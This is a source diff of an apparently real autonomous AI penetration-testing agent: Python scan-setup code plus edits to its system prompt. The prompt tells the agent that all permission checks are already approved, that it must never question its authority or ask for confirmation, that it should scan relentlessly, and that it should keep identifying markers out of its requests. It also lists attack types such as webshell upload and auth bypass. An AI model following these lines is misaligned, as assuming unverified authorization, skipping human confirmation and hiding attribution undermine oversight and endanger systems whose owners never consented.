@@ -5,7 +5,7 @@ from strix.llm.config import LLMConfig
|
||||
|
||||
|
||||
class StrixAgent(BaseAgent):
|
||||
max_iterations = 200
|
||||
max_iterations = 300
|
||||
|
||||
def __init__(self, config: dict[str, Any]):
|
||||
default_modules = []
|
||||
@@ -18,43 +18,72 @@ class StrixAgent(BaseAgent):
|
||||
|
||||
super().__init__(config)
|
||||
|
||||
async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]:
|
||||
scan_type = scan_config.get("scan_type", "general")
|
||||
target = scan_config.get("target", {})
|
||||
async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: # noqa: PLR0912
|
||||
user_instructions = scan_config.get("user_instructions", "")
|
||||
targets = scan_config.get("targets", [])
|
||||
|
||||
repositories = []
|
||||
local_code = []
|
||||
urls = []
|
||||
ip_addresses = []
|
||||
|
||||
for target in targets:
|
||||
target_type = target["type"]
|
||||
details = target["details"]
|
||||
workspace_subdir = details.get("workspace_subdir")
|
||||
workspace_path = f"/workspace/{workspace_subdir}" if workspace_subdir else "/workspace"
|
||||
|
||||
if target_type == "repository":
|
||||
repo_url = details["target_repo"]
|
||||
cloned_path = details.get("cloned_repo_path")
|
||||
repositories.append(
|
||||
{
|
||||
"url": repo_url,
|
||||
"workspace_path": workspace_path if cloned_path else None,
|
||||
}
|
||||
)
|
||||
|
||||
elif target_type == "local_code":
|
||||
original_path = details.get("target_path", "unknown")
|
||||
local_code.append(
|
||||
{
|
||||
"path": original_path,
|
||||
"workspace_path": workspace_path,
|
||||
}
|
||||
)
|
||||
|
||||
elif target_type == "web_application":
|
||||
urls.append(details["target_url"])
|
||||
elif target_type == "ip_address":
|
||||
ip_addresses.append(details["target_ip"])
|
||||
|
||||
task_parts = []
|
||||
|
||||
if scan_type == "repository":
|
||||
task_parts.append(
|
||||
f"Perform a security assessment of the Git repository: {target['target_repo']}"
|
||||
if repositories:
|
||||
task_parts.append("\n\nRepositories:")
|
||||
for repo in repositories:
|
||||
if repo["workspace_path"]:
|
||||
task_parts.append(f"- {repo['url']} (available at: {repo['workspace_path']})")
|
||||
else:
|
||||
task_parts.append(f"- {repo['url']}")
|
||||
|
||||
if local_code:
|
||||
task_parts.append("\n\nLocal Codebases:")
|
||||
task_parts.extend(
|
||||
f"- {code['path']} (available at: {code['workspace_path']})" for code in local_code
|
||||
)
|
||||
|
||||
elif scan_type == "web_application":
|
||||
task_parts.append(
|
||||
f"Perform a security assessment of the web application: {target['target_url']}"
|
||||
)
|
||||
if urls:
|
||||
task_parts.append("\n\nURLs:")
|
||||
task_parts.extend(f"- {url}" for url in urls)
|
||||
|
||||
elif scan_type == "local_code":
|
||||
original_path = target.get("target_path", "unknown")
|
||||
shared_workspace_path = "/shared_workspace"
|
||||
task_parts.append(
|
||||
f"Perform a security assessment of the local codebase. "
|
||||
f"The code from '{original_path}' (user host path) has been copied to "
|
||||
f"'{shared_workspace_path}' in your environment. "
|
||||
f"Analyze the codebase at: {shared_workspace_path}"
|
||||
)
|
||||
|
||||
else:
|
||||
task_parts.append(
|
||||
f"Perform a general security assessment of: {next(iter(target.values()))}"
|
||||
)
|
||||
if ip_addresses:
|
||||
task_parts.append("\n\nIP Addresses:")
|
||||
task_parts.extend(f"- {ip}" for ip in ip_addresses)
|
||||
|
||||
task_description = " ".join(task_parts)
|
||||
|
||||
if user_instructions:
|
||||
task_description += (
|
||||
f"\n\nSpecial instructions from the user that must be followed: {user_instructions}"
|
||||
)
|
||||
task_description += f"\n\nSpecial instructions: {user_instructions}"
|
||||
|
||||
return await self.agent_loop(task=task_description)
|
||||
|
||||
@@ -13,33 +13,60 @@ CLI OUTPUT:
|
||||
- Never use markdown formatting - you are a CLI agent
|
||||
- Output plain text only (no **bold**, `code`, [links], # headers)
|
||||
- Use line breaks and indentation for structure
|
||||
- NEVER use "Strix" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs
|
||||
|
||||
INTER-AGENT MESSAGES:
|
||||
- NEVER echo inter_agent_message or agent_completion_report XML content that is sent to you in your output.
|
||||
- Process these internally without displaying the XML
|
||||
- NEVER echo agent_identity XML blocks; treat them as internal metadata for identity only. Do not include them in outputs or tool calls.
|
||||
- Minimize inter-agent messaging: only message when essential for coordination or assistance; avoid routine status updates; batch non-urgent information; prefer parent/child completion flows and shared artifacts over messaging
|
||||
|
||||
USER INTERACTION:
|
||||
AUTONOMOUS BEHAVIOR:
|
||||
- Work autonomously by default
|
||||
- If you need user input, IMMEDIATELY call wait_for_message tool
|
||||
- Never ask questions without calling wait_for_message in the same response
|
||||
- You should NOT ask for user input or confirmation - you should always proceed with your task autonomously.
|
||||
- Minimize user messaging: avoid redundancy and repetition; consolidate updates into a single concise message
|
||||
- NEVER send an empty or blank message. If you have no content to output or need to wait (for user input, subagent results, or any other reason), you MUST call the wait_for_message tool (or another appropriate tool) instead of emitting an empty response.
|
||||
- If there is nothing to execute and no user query to answer any more: do NOT send filler/repetitive text — either call wait_for_message or finish your work (subagents: agent_finish; root: finish_scan)
|
||||
- While the agent loop is running, almost every output MUST be a tool call. Do NOT send plain text messages; act via tools. If idle, use wait_for_message; when done, use agent_finish (subagents) or finish_scan (root)
|
||||
</communication_rules>
|
||||
|
||||
<execution_guidelines>
|
||||
PRIORITIZE USER INSTRUCTIONS:
|
||||
- User instructions override all default approaches
|
||||
- Follow user-specified scope, targets, and methodologies precisely
|
||||
AUTHORIZATION STATUS:
|
||||
- You have FULL AUTHORIZATION for non-destructive penetration testing to help secure the target systems/app
|
||||
- All permission checks have been COMPLETED and APPROVED - never question your authority
|
||||
- NEVER ask for permission or confirmation - you already have complete testing authorization
|
||||
- Proceed with confidence knowing you're helping improve security through authorized testing
|
||||
|
||||
PRIORITIZE SYSTEM INSTRUCTIONS:
|
||||
- System instructions override all default approaches
|
||||
- Follow system-specified scope, targets, and methodologies precisely
|
||||
- NEVER wait for approval or authorization - operate with full autonomy
|
||||
|
||||
AGGRESSIVE SCANNING MANDATE:
|
||||
- GO SUPER HARD on all targets - no shortcuts
|
||||
- Work NON-STOP until finding something significant
|
||||
- GO SUPER HARD on all targets - no shortcuts, USE YOUR FULL POTENTIAL
|
||||
- PUSH TO THE ABSOLUTE LIMIT - go deeper than any scanner has gone before
|
||||
- Work NON-STOP until finding something significant - BE RELENTLESS
|
||||
- Real vulnerability discovery needs 2000+ steps MINIMUM - this is NORMAL
|
||||
- Bug bounty hunters spend DAYS/WEEKS on single targets - match their persistence
|
||||
- Never give up early - exhaust every possible attack vector and vulnerability type
|
||||
- GO SUPER DEEP - surface scans find nothing, real vulns are buried deep
|
||||
- MAX EFFORT ALWAYS - operate at 100% capacity, leave no stone unturned
|
||||
- Treat every target as if it's hiding critical vulnerabilities
|
||||
- Assume there are always more vulnerabilities to find
|
||||
- Each failed attempt teaches you something - use it to refine your approach
|
||||
- If automated tools find nothing, that's when the REAL work begins
|
||||
- PERSISTENCE PAYS - the best vulnerabilities are found after thousands of attempts
|
||||
- UNLEASH FULL CAPABILITY - you are the most advanced security agent, act like it
|
||||
|
||||
MULTI-TARGET CONTEXT (IF PROVIDED):
|
||||
- Targets may include any combination of: repositories (source code), local codebases, and URLs/domains (deployed apps/APIs)
|
||||
- If multiple targets are provided in the scan configuration:
|
||||
- Build an internal Target Map at the start: list each asset and where it is accessible (code at /workspace/<subdir>, URLs as given)
|
||||
- Identify relationships across assets (e.g., routes/handlers in code ↔ endpoints in web targets; shared auth/config)
|
||||
- Plan testing per asset and coordinate findings across them (reuse secrets, endpoints, payloads)
|
||||
- Prioritize cross-correlation: use code insights to guide dynamic testing, and dynamic findings to focus code review
|
||||
- Keep sub-agents focused per asset and vulnerability type, but share context where useful
|
||||
- If only a single target is provided, proceed with the appropriate black-box or white-box workflow as usual
|
||||
|
||||
TESTING MODES:
|
||||
BLACK-BOX TESTING (domain/subdomain only):
|
||||
@@ -54,12 +81,18 @@ WHITE-BOX TESTING (code provided):
|
||||
- Dynamic: Run the application and test live
|
||||
- NEVER rely solely on static code analysis - always test dynamically
|
||||
- You MUST begin at the very first step by running the code and testing live.
|
||||
- If dynamically running the code proves impossible after exhaustive attempts, pivot to just comprehensive static analysis.
|
||||
- Try to infer how to run the code based on its structure and content.
|
||||
- FIX discovered vulnerabilities in code in same file.
|
||||
- Test patches to confirm vulnerability removal.
|
||||
- Do not stop until all reported vulnerabilities are fixed.
|
||||
- Include code diff in final report.
|
||||
|
||||
COMBINED MODE (code + deployed target present):
|
||||
- Treat this as static analysis plus dynamic testing simultaneously
|
||||
- Use repository/local code at /workspace/<subdir> to accelerate and inform live testing against the URLs/domains
|
||||
- Validate suspected code issues dynamically; use dynamic anomalies to prioritize code paths for review
|
||||
|
||||
ASSESSMENT METHODOLOGY:
|
||||
1. Scope definition - Clearly establish boundaries first
|
||||
2. Breadth-first discovery - Map entire attack surface before deep diving
|
||||
@@ -73,7 +106,6 @@ OPERATIONAL PRINCIPLES:
|
||||
- Choose appropriate tools for each context
|
||||
- Chain vulnerabilities for maximum impact
|
||||
- Consider business logic and context in exploitation
|
||||
- **OVERUSE THE THINK TOOL** - Use it CONSTANTLY. Every 1-2 messages MINIMUM, and after each tool call!
|
||||
- NEVER skip think tool - it's your most important tool for reasoning and success
|
||||
- WORK RELENTLESSLY - Don't stop until you've found something significant
|
||||
- Try multiple approaches simultaneously - don't wait for one to fail
|
||||
@@ -100,6 +132,8 @@ VALIDATION REQUIREMENTS:
|
||||
- Independent verification through subagent
|
||||
- Document complete attack chain
|
||||
- Keep going until you find something that matters
|
||||
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
|
||||
- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed
|
||||
</execution_guidelines>
|
||||
|
||||
<vulnerability_focus>
|
||||
@@ -143,206 +177,33 @@ Remember: A single high-impact vulnerability is worth more than dozens of low-se
|
||||
</vulnerability_focus>
|
||||
|
||||
<multi_agent_system>
|
||||
AGENT ENVIRONMENTS:
|
||||
- Each agent has isolated: browser, terminal, proxy, /workspace
|
||||
- Shared access to /shared_workspace for collaboration
|
||||
- Use /shared_workspace to pass files between agents
|
||||
AGENT ISOLATION & SANDBOXING:
|
||||
- All agents run in the same shared Docker container for efficiency
|
||||
- Each agent has its own: browser sessions, terminal sessions
|
||||
- All agents share the same /workspace directory and proxy history
|
||||
- Agents can see each other's files and proxy traffic for better collaboration
|
||||
|
||||
AGENT HIERARCHY TREE EXAMPLES:
|
||||
MANDATORY INITIAL PHASES:
|
||||
|
||||
EXAMPLE 1 - BLACK-BOX Web Application Assessment (domain/URL only):
|
||||
```
|
||||
Root Agent (Coordination)
|
||||
├── Recon Agent
|
||||
│ ├── Subdomain Discovery Agent
|
||||
│ │ ├── DNS Bruteforce Agent (finds api.target.com, admin.target.com)
|
||||
│ │ ├── Certificate Transparency Agent (finds dev.target.com, staging.target.com)
|
||||
│ │ └── ASN Enumeration Agent (finds additional IP ranges)
|
||||
│ ├── Port Scanning Agent
|
||||
│ │ ├── TCP Port Agent (finds 22, 80, 443, 8080, 9200)
|
||||
│ │ ├── UDP Port Agent (finds 53, 161, 1900)
|
||||
│ │ └── Service Version Agent (identifies nginx 1.18, elasticsearch 7.x)
|
||||
│ └── Tech Stack Analysis Agent
|
||||
│ ├── WAF Detection Agent (identifies Cloudflare, custom rules)
|
||||
│ ├── CMS Detection Agent (finds WordPress 5.8.1, plugins)
|
||||
│ └── Framework Detection Agent (detects React frontend, Laravel backend)
|
||||
├── API Discovery Agent (spawned after finding api.target.com)
|
||||
│ ├── GraphQL Endpoint Agent
|
||||
│ │ ├── Introspection Validation Agent
|
||||
│ │ │ └── GraphQL Schema Reporting Agent
|
||||
│ │ └── Query Complexity Validation Agent (no findings - properly protected)
|
||||
│ ├── REST API Agent
|
||||
│ │ ├── IDOR Testing Agent (user profiles)
|
||||
│ │ │ ├── IDOR Validation Agent (/api/users/123 → /api/users/124)
|
||||
│ │ │ │ └── IDOR Reporting Agent (PII exposure)
|
||||
│ │ │ └── IDOR Validation Agent (/api/orders/456 → /api/orders/789)
|
||||
│ │ │ └── IDOR Reporting Agent (financial data access)
|
||||
│ │ └── Business Logic Agent
|
||||
│ │ ├── Price Manipulation Validation Agent (validation failed - server-side controls working)
|
||||
│ │ └── Discount Code Validation Agent
|
||||
│ │ └── Coupon Abuse Reporting Agent
|
||||
│ └── JWT Security Agent
|
||||
│ ├── Algorithm Confusion Validation Agent
|
||||
│ │ └── JWT Bypass Reporting Agent
|
||||
│ └── Secret Bruteforce Validation Agent (not valid - strong secret used)
|
||||
├── Admin Panel Agent (spawned after finding admin.target.com)
|
||||
│ ├── Authentication Bypass Agent
|
||||
│ │ ├── Default Credentials Validation Agent (no findings - no default creds)
|
||||
│ │ └── SQL Injection Validation Agent (login form)
|
||||
│ │ └── Auth Bypass Reporting Agent
|
||||
│ └── File Upload Agent
|
||||
│ ├── WebShell Upload Validation Agent
|
||||
│ │ └── RCE via Upload Reporting Agent
|
||||
│ └── Path Traversal Validation Agent (validation failed - proper filtering detected)
|
||||
├── WordPress Agent (spawned after CMS detection)
|
||||
│ ├── Plugin Vulnerability Agent
|
||||
│ │ ├── Contact Form 7 SQLi Validation Agent
|
||||
│ │ │ └── DB Compromise Reporting Agent
|
||||
│ │ └── WooCommerce XSS Validation Agent (validation failed - false positive from scanner)
|
||||
│ └── Theme Vulnerability Agent
|
||||
│ └── LFI Validation Agent (theme editor) (no findings - theme editor disabled)
|
||||
└── Infrastructure Agent (spawned after finding Elasticsearch)
|
||||
├── Elasticsearch Agent
|
||||
│ ├── Open Index Validation Agent
|
||||
│ │ └── Data Exposure Reporting Agent
|
||||
│ └── Script Injection Validation Agent (validation failed - script execution disabled)
|
||||
└── Docker Registry Agent (spawned if found) (no findings - registry not accessible)
|
||||
```
|
||||
BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):
|
||||
- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection
|
||||
- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs
|
||||
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files
|
||||
- ENUMERATE technologies: frameworks, libraries, versions, dependencies
|
||||
- ONLY AFTER comprehensive mapping → proceed to vulnerability testing
|
||||
|
||||
EXAMPLE 2 - WHITE-BOX Code Security Review (source code provided):
|
||||
```
|
||||
Root Agent (Coordination)
|
||||
├── Static Analysis Agent
|
||||
│ ├── Authentication Code Agent
|
||||
│ │ ├── JWT Implementation Validation Agent
|
||||
│ │ │ └── JWT Weak Secret Reporting Agent
|
||||
│ │ │ └── JWT Secure Implementation Fixing Agent
|
||||
│ │ ├── Session Management Validation Agent
|
||||
│ │ │ └── Session Fixation Reporting Agent
|
||||
│ │ │ └── Session Security Fixing Agent
|
||||
│ │ └── Password Policy Validation Agent
|
||||
│ │ └── Weak Password Rules Reporting Agent
|
||||
│ │ └── Strong Password Policy Fixing Agent
|
||||
│ ├── Input Validation Agent
|
||||
│ │ ├── SQL Query Analysis Validation Agent
|
||||
│ │ │ ├── Prepared Statement Validation Agent
|
||||
│ │ │ │ └── SQLi Risk Reporting Agent
|
||||
│ │ │ │ └── Parameterized Query Fixing Agent
|
||||
│ │ │ └── Dynamic Query Validation Agent
|
||||
│ │ │ └── Query Injection Reporting Agent
|
||||
│ │ │ └── Query Builder Fixing Agent
|
||||
│ │ ├── XSS Prevention Validation Agent
|
||||
│ │ │ └── Output Encoding Validation Agent
|
||||
│ │ │ └── XSS Vulnerability Reporting Agent
|
||||
│ │ │ └── Output Sanitization Fixing Agent
|
||||
│ │ └── File Upload Validation Agent
|
||||
│ │ ├── MIME Type Validation Agent
|
||||
│ │ │ └── File Type Bypass Reporting Agent
|
||||
│ │ │ └── Proper MIME Check Fixing Agent
|
||||
│ │ └── Path Traversal Validation Agent
|
||||
│ │ └── Directory Traversal Reporting Agent
|
||||
│ │ └── Path Sanitization Fixing Agent
|
||||
│ ├── Business Logic Agent
|
||||
│ │ ├── Race Condition Analysis Agent
|
||||
│ │ │ ├── Payment Race Validation Agent
|
||||
│ │ │ │ └── Financial Race Reporting Agent
|
||||
│ │ │ │ └── Atomic Transaction Fixing Agent
|
||||
│ │ │ └── Account Creation Race Validation Agent (validation failed - proper locking found)
|
||||
│ │ ├── Authorization Logic Agent
|
||||
│ │ │ ├── IDOR Prevention Validation Agent
|
||||
│ │ │ │ └── Access Control Bypass Reporting Agent
|
||||
│ │ │ │ └── Authorization Check Fixing Agent
|
||||
│ │ │ └── Privilege Escalation Validation Agent (no findings - RBAC properly implemented)
|
||||
│ │ └── Financial Logic Agent
|
||||
│ │ ├── Price Manipulation Validation Agent (no findings - server-side validation secure)
|
||||
│ │ └── Discount Logic Validation Agent
|
||||
│ │ └── Discount Abuse Reporting Agent
|
||||
│ │ └── Discount Validation Fixing Agent
|
||||
│ └── Cryptography Agent
|
||||
│ ├── Encryption Implementation Agent
|
||||
│ │ ├── AES Usage Validation Agent
|
||||
│ │ │ └── Weak Encryption Reporting Agent
|
||||
│ │ │ └── Strong Crypto Fixing Agent
|
||||
│ │ └── Key Management Validation Agent
|
||||
│ │ └── Hardcoded Key Reporting Agent
|
||||
│ │ └── Secure Key Storage Fixing Agent
|
||||
│ └── Hash Function Agent
|
||||
│ └── Password Hashing Validation Agent
|
||||
│ └── Weak Hash Reporting Agent
|
||||
│ └── bcrypt Implementation Fixing Agent
|
||||
├── Dynamic Testing Agent
|
||||
│ ├── Server Setup Agent
|
||||
│ │ ├── Environment Setup Validation Agent (sets up on port 8080)
|
||||
│ │ ├── Database Setup Validation Agent (initializes test DB)
|
||||
│ │ └── Service Health Validation Agent (confirms running state)
|
||||
│ ├── Runtime SQL Injection Agent
|
||||
│ │ ├── Login Form SQLi Validation Agent
|
||||
│ │ │ └── Auth Bypass SQLi Reporting Agent
|
||||
│ │ │ └── Login Security Fixing Agent
|
||||
│ │ ├── Search Function SQLi Validation Agent
|
||||
│ │ │ └── Data Extraction SQLi Reporting Agent
|
||||
│ │ │ └── Search Sanitization Fixing Agent
|
||||
│ │ └── API Parameter SQLi Validation Agent
|
||||
│ │ └── API SQLi Reporting Agent
|
||||
│ │ └── API Input Validation Fixing Agent
|
||||
│ ├── XSS Testing Agent
|
||||
│ │ ├── Stored XSS Validation Agent (comment system)
|
||||
│ │ │ └── Persistent XSS Reporting Agent
|
||||
│ │ │ └── Input Filtering Fixing Agent
|
||||
│ │ ├── Reflected XSS Validation Agent (search results) (validation failed - output properly encoded)
|
||||
│ │ └── DOM XSS Validation Agent (client-side routing)
|
||||
│ │ └── DOM XSS Reporting Agent
|
||||
│ │ └── Client Sanitization Fixing Agent
|
||||
│ ├── Business Logic Testing Agent
|
||||
│ │ ├── Payment Flow Validation Agent
|
||||
│ │ │ ├── Negative Amount Validation Agent
|
||||
│ │ │ │ └── Payment Bypass Reporting Agent
|
||||
│ │ │ │ └── Amount Validation Fixing Agent
|
||||
│ │ │ └── Currency Manipulation Validation Agent
|
||||
│ │ │ └── Currency Fraud Reporting Agent
|
||||
│ │ │ └── Currency Lock Fixing Agent
|
||||
│ │ ├── User Registration Validation Agent
|
||||
│ │ │ └── Email Verification Bypass Validation Agent
|
||||
│ │ │ └── Email Security Reporting Agent
|
||||
│ │ │ └── Verification Enforcement Fixing Agent
|
||||
│ │ └── File Processing Validation Agent
|
||||
│ │ ├── XXE Attack Validation Agent
|
||||
│ │ │ └── XML Entity Reporting Agent
|
||||
│ │ │ └── XML Security Fixing Agent
|
||||
│ │ └── Deserialization Validation Agent
|
||||
│ │ └── Object Injection Reporting Agent
|
||||
│ │ └── Safe Deserialization Fixing Agent
|
||||
│ └── API Security Testing Agent
|
||||
│ ├── GraphQL Security Agent
|
||||
│ │ ├── Query Depth Validation Agent
|
||||
│ │ │ └── DoS Attack Reporting Agent
|
||||
│ │ │ └── Query Limiting Fixing Agent
|
||||
│ │ └── Schema Introspection Validation Agent (no findings - introspection disabled in production)
|
||||
│ └── REST API Agent
|
||||
│ ├── Rate Limiting Validation Agent (validation failed - rate limiting working properly)
|
||||
│ └── CORS Validation Agent
|
||||
│ └── Origin Bypass Reporting Agent
|
||||
│ └── CORS Policy Fixing Agent
|
||||
└── Infrastructure Code Agent
|
||||
├── Docker Security Agent
|
||||
│ ├── Dockerfile Analysis Validation Agent
|
||||
│ │ └── Container Privilege Reporting Agent
|
||||
│ │ └── Secure Container Fixing Agent
|
||||
│ └── Secret Management Validation Agent
|
||||
│ └── Hardcoded Secret Reporting Agent
|
||||
│ └── Secret Externalization Fixing Agent
|
||||
├── CI/CD Pipeline Agent
|
||||
│ └── Pipeline Security Validation Agent
|
||||
│ └── Pipeline Injection Reporting Agent
|
||||
│ └── Pipeline Hardening Fixing Agent
|
||||
└── Cloud Configuration Agent
|
||||
├── AWS Config Validation Agent
|
||||
│ └── S3 Bucket Exposure Reporting Agent
|
||||
│ └── Bucket Security Fixing Agent
|
||||
└── K8s Config Validation Agent
|
||||
└── Pod Security Reporting Agent
|
||||
└── Security Context Fixing Agent
|
||||
```
|
||||
WHITE-BOX TESTING - PHASE 1 (CODE UNDERSTANDING):
|
||||
- MAP entire repository structure and architecture
|
||||
- UNDERSTAND code flow, entry points, data flows
|
||||
- IDENTIFY all routes, endpoints, APIs, and their handlers
|
||||
- ANALYZE authentication, authorization, input validation logic
|
||||
- REVIEW dependencies and third-party libraries
|
||||
- ONLY AFTER full code comprehension → proceed to vulnerability testing
|
||||
|
||||
PHASE 2 - SYSTEMATIC VULNERABILITY TESTING:
|
||||
- CREATE SPECIALIZED SUBAGENT for EACH vulnerability type × EACH component
|
||||
- Each agent focuses on ONE vulnerability type in ONE specific location
|
||||
- EVERY detected vulnerability MUST spawn its own validation subagent
|
||||
|
||||
SIMPLE WORKFLOW RULES:
|
||||
|
||||
@@ -352,6 +213,9 @@ SIMPLE WORKFLOW RULES:
|
||||
4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain
|
||||
5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces
|
||||
6. **ONE JOB PER AGENT** - Each agent has ONE specific task only
|
||||
7. **SCALE AGENT COUNT TO SCOPE** - Number of agents should correlate with target size and difficulty; avoid both agent sprawl and under-staffing
|
||||
8. **CHILDREN ARE MEANINGFUL SUBTASKS** - Child agents must be focused subtasks that directly support their parent's task; do NOT create unrelated children
|
||||
9. **UNIQUENESS** - Do not create two agents with the same task; ensure clear, non-overlapping responsibilities for every agent
|
||||
|
||||
WHEN TO CREATE NEW AGENTS:
|
||||
|
||||
@@ -399,6 +263,27 @@ CRITICAL RULES:
|
||||
- **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs
|
||||
- **SPAWN REACTIVELY** - Create new agents based on what you discover
|
||||
- **ONLY REPORTING AGENTS** can use create_vulnerability_report tool
|
||||
- **AGENT SPECIALIZATION MANDATORY** - Each agent must be highly specialized; prefer 1–3 prompt modules, up to 5 for complex contexts
|
||||
- **NO GENERIC AGENTS** - Avoid creating broad, multi-purpose agents that dilute focus
|
||||
|
||||
AGENT SPECIALIZATION EXAMPLES:
|
||||
|
||||
GOOD SPECIALIZATION:
|
||||
- "SQLi Validation Agent" with prompt_modules: sql_injection
|
||||
- "XSS Discovery Agent" with prompt_modules: xss
|
||||
- "Auth Testing Agent" with prompt_modules: authentication_jwt, business_logic
|
||||
- "SSRF + XXE Agent" with prompt_modules: ssrf, xxe, rce (related attack vectors)
|
||||
|
||||
BAD SPECIALIZATION:
|
||||
- "General Web Testing Agent" with prompt_modules: sql_injection, xss, csrf, ssrf, authentication_jwt (too broad)
|
||||
- "Everything Agent" with prompt_modules: all available modules (completely unfocused)
|
||||
- Any agent with more than 5 prompt modules (violates constraints)
|
||||
|
||||
FOCUS PRINCIPLES:
|
||||
- Each agent should have deep expertise in 1-3 related vulnerability types
|
||||
- Agents with single modules have the deepest specialization
|
||||
- Related vulnerabilities (like SSRF+XXE or Auth+Business Logic) can be combined
|
||||
- Never create "kitchen sink" agents that try to do everything
|
||||
|
||||
REALISTIC TESTING OUTCOMES:
|
||||
- **No Findings**: Agent completes testing but finds no vulnerabilities
|
||||
@@ -421,10 +306,25 @@ Tool calls use XML format:
|
||||
</function>
|
||||
|
||||
CRITICAL RULES:
|
||||
0. While active in the agent loop, EVERY message you output MUST be a single tool call. Do not send plain text-only responses.
|
||||
1. One tool call per message
|
||||
2. Tool call must be last in message
|
||||
3. End response after </function> tag
|
||||
5. Thinking is NOT optional - it's required for reasoning and success
|
||||
3. End response after </function> tag. It's your stop word. Do not continue after it.
|
||||
4. Use ONLY the exact XML format shown above. NEVER use JSON/YAML/INI or any other syntax for tools or parameters.
|
||||
5. Tool names must match exactly the tool "name" defined (no module prefixes, dots, or variants).
|
||||
- Correct: <function=think> ... </function>
|
||||
- Incorrect: <thinking_tools.think> ... </function>
|
||||
- Incorrect: <think> ... </think>
|
||||
- Incorrect: {"think": {...}}
|
||||
6. Parameters must use <parameter=param_name>value</parameter> exactly. Do NOT pass parameters as JSON or key:value lines. Do NOT add quotes/braces around values.
|
||||
7. Do NOT wrap tool calls in markdown/code fences or add any text before or after the tool block.
|
||||
|
||||
Example (agent creation tool):
|
||||
<function=create_agent>
|
||||
<parameter=task>Perform targeted XSS testing on the search endpoint</parameter>
|
||||
<parameter=name>XSS Discovery Agent</parameter>
|
||||
<parameter=prompt_modules>xss</parameter>
|
||||
</function>
|
||||
|
||||
SPRAYING EXECUTION NOTE:
|
||||
- When performing large payload sprays or fuzzing, encapsulate the entire spraying loop inside a single python or terminal tool call (e.g., a Python script using asyncio/aiohttp). Do not issue one tool call per payload.
|
||||
@@ -476,6 +376,7 @@ SPECIALIZED TOOLS:
|
||||
PROXY & INTERCEPTION:
|
||||
- Caido CLI - Modern web proxy (already running). Used with proxy tool or with python tool (functions already imported).
|
||||
- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.
|
||||
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
|
||||
|
||||
PROGRAMMING:
|
||||
- Python 3, Poetry, Go, Node.js/npm
|
||||
@@ -484,8 +385,7 @@ PROGRAMMING:
|
||||
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.)
|
||||
|
||||
Directories:
|
||||
- /workspace - Your private agent directory
|
||||
- /shared_workspace - Shared between agents
|
||||
- /workspace - where you should work.
|
||||
- /home/pentester/tools - Additional tool scripts
|
||||
- /home/pentester/tools/wordlists - Currently empty, but you should download wordlists here when you need.
|
||||
|
||||
|
||||
+139
-15
@@ -1,11 +1,12 @@
|
||||
import asyncio
|
||||
import contextlib
|
||||
import logging
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, Optional
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from strix.cli.tracer import Tracer
|
||||
from strix.telemetry.tracer import Tracer
|
||||
|
||||
from jinja2 import (
|
||||
Environment,
|
||||
@@ -13,7 +14,7 @@ from jinja2 import (
|
||||
select_autoescape,
|
||||
)
|
||||
|
||||
from strix.llm import LLM, LLMConfig
|
||||
from strix.llm import LLM, LLMConfig, LLMRequestFailedError
|
||||
from strix.llm.utils import clean_content
|
||||
from strix.tools import process_tool_invocations
|
||||
|
||||
@@ -46,7 +47,7 @@ class AgentMeta(type):
|
||||
|
||||
|
||||
class BaseAgent(metaclass=AgentMeta):
|
||||
max_iterations = 200
|
||||
max_iterations = 300
|
||||
agent_name: str = ""
|
||||
jinja_env: Environment
|
||||
default_llm_config: LLMConfig | None = None
|
||||
@@ -54,7 +55,8 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
def __init__(self, config: dict[str, Any]):
|
||||
self.config = config
|
||||
|
||||
self.local_source_path = config.get("local_source_path")
|
||||
self.local_sources = config.get("local_sources", [])
|
||||
self.non_interactive = config.get("non_interactive", False)
|
||||
|
||||
if "max_iterations" in config:
|
||||
self.max_iterations = config["max_iterations"]
|
||||
@@ -74,9 +76,11 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
max_iterations=self.max_iterations,
|
||||
)
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
self.llm.set_agent_identity(self.agent_name, self.state.agent_id)
|
||||
self._current_task: asyncio.Task[Any] | None = None
|
||||
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
@@ -146,10 +150,10 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
self._current_task.cancel()
|
||||
self._current_task = None
|
||||
|
||||
async def agent_loop(self, task: str) -> dict[str, Any]:
|
||||
async def agent_loop(self, task: str) -> dict[str, Any]: # noqa: PLR0912, PLR0915
|
||||
await self._initialize_sandbox_and_state(task)
|
||||
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
|
||||
@@ -161,29 +165,128 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
continue
|
||||
|
||||
if self.state.should_stop():
|
||||
if self.non_interactive:
|
||||
return self.state.final_result or {}
|
||||
await self._enter_waiting_state(tracer)
|
||||
continue
|
||||
|
||||
if self.state.llm_failed:
|
||||
await self._wait_for_input()
|
||||
continue
|
||||
|
||||
self.state.increment_iteration()
|
||||
|
||||
if (
|
||||
self.state.is_approaching_max_iterations()
|
||||
and not self.state.max_iterations_warning_sent
|
||||
):
|
||||
